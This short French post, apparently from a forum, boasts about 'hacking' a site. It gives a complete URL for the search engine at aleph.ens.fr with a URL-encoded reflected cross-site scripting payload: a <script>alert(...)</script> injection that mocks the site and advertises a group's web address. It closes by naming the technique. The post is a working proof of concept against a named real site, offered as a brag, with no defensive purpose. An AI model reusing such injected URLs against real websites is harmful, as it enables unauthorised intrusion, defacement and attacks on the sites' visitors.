Ouais Super...J´ai Hacké un site
http://aleph.ens.fr/cgi-bin/s.cgi?cs=iso-8859-1&ps=10&q=%3Cscript%3Ealert%28%27C%5C%27est+marrant+ce+qu%5C%27on+peut+faire+avec+un+moteur+de+recherche+mal+programm%E9%5Cn%5Cn%3Ao%29%29%5Cn%5Cn+ZeTaCoOL+En+Force%21%21%21%21%5Cn+Ouaiiiiiisssss%21%21%21%21%21%5Cn%3Ao%29%29%5Cn%5Cn--%3D%3DToLiEr%3D%3D--%5Cn%5Cnhttp%3A%2F%2Fzetacool.zik.mu%2F%27%29+%3C%2Fscript%3E&Rechercher=ok&ps=10&m=and&dp=0
On appelle ça du cross-site scripting 